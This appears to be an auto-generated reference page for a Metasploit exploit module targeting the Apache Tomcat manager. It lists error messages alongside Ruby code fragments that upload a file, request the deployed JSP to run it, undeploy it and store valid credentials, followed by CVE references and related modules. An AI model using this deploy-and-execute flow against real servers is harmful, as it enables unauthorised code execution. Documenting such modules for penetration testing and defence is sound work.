201: print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
202: end
203: fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
204: end
205:
206: store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
Upload failed on <PATH_TMP> [<RES.CODE> <RES.MESSAGE>]
Here is a relevant code snippet related to the "Upload failed on <PATH_TMP> [<RES.CODE> <RES.MESSAGE>]" error message:
198: if (res.code < 200 or res.code >= 300)
199: case res.code
200: when 401
201: print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
202: end
203: fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
204: end
205:
206: store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
207:
208: #
Execution failed on <APP_BASE> [No Response]
Here is a relevant code snippet related to the "Execution failed on <APP_BASE> [No Response]" error message:
214: 'uri' => jsp_path,
215: 'method' => 'GET'
216: }, 20)
217:
218: if (! res)
219: print_error("Execution failed on #{app_base} [No Response]")
220: elsif (res.code < 200 or res.code >= 300)
221: print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
222: vprint_status(res.body)
223: end
224:
Execution failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]
Here is a relevant code snippet related to the "Execution failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]" error message:
216: }, 20)
217:
218: if (! res)
219: print_error("Execution failed on #{app_base} [No Response]")
220: elsif (res.code < 200 or res.code >= 300)
221: print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
222: vprint_status(res.body)
223: end
224:
225: #
226: # DELETE
WARNING: Undeployment failed on <PATH_TMP> [No Response]
Here is a relevant code snippet related to the "WARNING: Undeployment failed on <PATH_TMP> [No Response]" error message:
230: res = send_request_cgi({
231: 'uri' => path_tmp,
232: 'method' => 'GET'
233: }, 20)
234: if (! res)
235: print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]")
236: elsif (res.code < 200 or res.code >= 300)
237: print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]")
238: end
239:
240: handler
Deletion failed on <PATH_TMP> [<RES.CODE> <RES.MESSAGE>]
Here is a relevant code snippet related to the "Deletion failed on <PATH_TMP> [<RES.CODE> <RES.MESSAGE>]" error message:
232: 'method' => 'GET'
233: }, 20)
234: if (! res)
235: print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]")
236: elsif (res.code < 200 or res.code >= 300)
237: print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]")
238: end
239:
240: handler
241: end
242:
Failed: Error requesting <PATH>
Here is a relevant code snippet related to the "Failed: Error requesting <PATH>" error message:
246: {
247: 'uri' => path
248: }, 10)
249:
250: if (not res) or (res.code != 200)
251: print_error("Failed: Error requesting #{path}")
252: return nil
253: end
254:
255: vprint_status(res.body)
256:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10505 Merged Pull Request: Add post authentication information in modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8489 Merged Pull Request: more httpClient modules use store_valid_credential
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7529 Merged Pull Request: Remove the bug where downcase() is invoked on password which is optio…
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2560 Merged Pull Request: ZDI references for reference.rb
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
References
- CVE-2009-3843
- OSVDB (60317)
- CVE-2009-4189
- OSVDB (60670)
- CVE-2009-4188
- BID-38084
- CVE-2010-0557
- http://www-01.ibm.com/support/docview.wss?uid=swg21419179
- CVE-2010-4094
- ZDI-10-214
- CVE-2009-3548
- OSVDB (60176)
- BID-36954
- http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/tomcat_mgr_login
- exploit/multi/http/tomcat_mgr_upload
- exploit/multi/http/tomcat_jsp_upload_bypass
- auxiliary/admin/http/tomcat_administration
- auxiliary/admin/http/tomcat_ghostcat
- auxiliary/admin/http/tomcat_utf8_traversal
- auxiliary/scanner/http/tomcat_enum
- exploit/windows/http/tomcat_cgi_cmdlineargs
- post/multi/gather/tomcat_gather
- exploit/multi/http/jboss_invoke_deploy
- exploit/windows/http/octopusdeploy_deploy
- auxiliary/admin/http/jboss_deploymentfilerepository
- auxiliary/gather/windows_deployment_services_shares
- auxiliary/scanner/dcerpc/windows_deployment_services
- exploit/multi/http/axis2_deployer
- exploit/multi/http/glassfish_deployer
- exploit/multi/http/jboss_deploymentfilerepository
- auxiliary/admin/http/jboss_bshdeployer
- auxiliary/scanner/http/octopusdeploy_login
- exploit/multi/http/jboss_bshdeployer
- exploit/multi/http/jboss_maindeployer
- exploit/windows/browser/honeywell_hscremotedeploy_exec
- exploit/windows/browser/symantec_altirisdeployment_downloadandinstall
- exploit/windows/browser/symantec_altirisdeployment_runcmd
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- post/windows/gather/enum_tomcat
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_vrops_mgr_ssrf_rce
- exploit/windows/browser/hp_easy_printer_care_xmlcachemgr
- exploit/windows/browser/mcafee_mcsubmgr_vsprintf
- exploit/windows/ftp/gekkomgr_list_reply
- exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
- exploit/windows/license/flexnet_lmgrd_bof
- exploit/windows/scada/delta_ia_commgr_bof
- exploit/windows/scada/yokogawa_bkesimmgr_bof
Related Nessus plugins:
- Apache Tomcat Manager Common Administrative Credentials
- VMSA-2011-0003 : Third-party component updates for VMware vCenter Server, vCenter Update Manager, ESXi and ESX
- VMware ESX / ESXi Third-Party Libraries Multiple Vulnerabilities (VMSA-2011-0003) (remote check)
Authors
- jduck
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
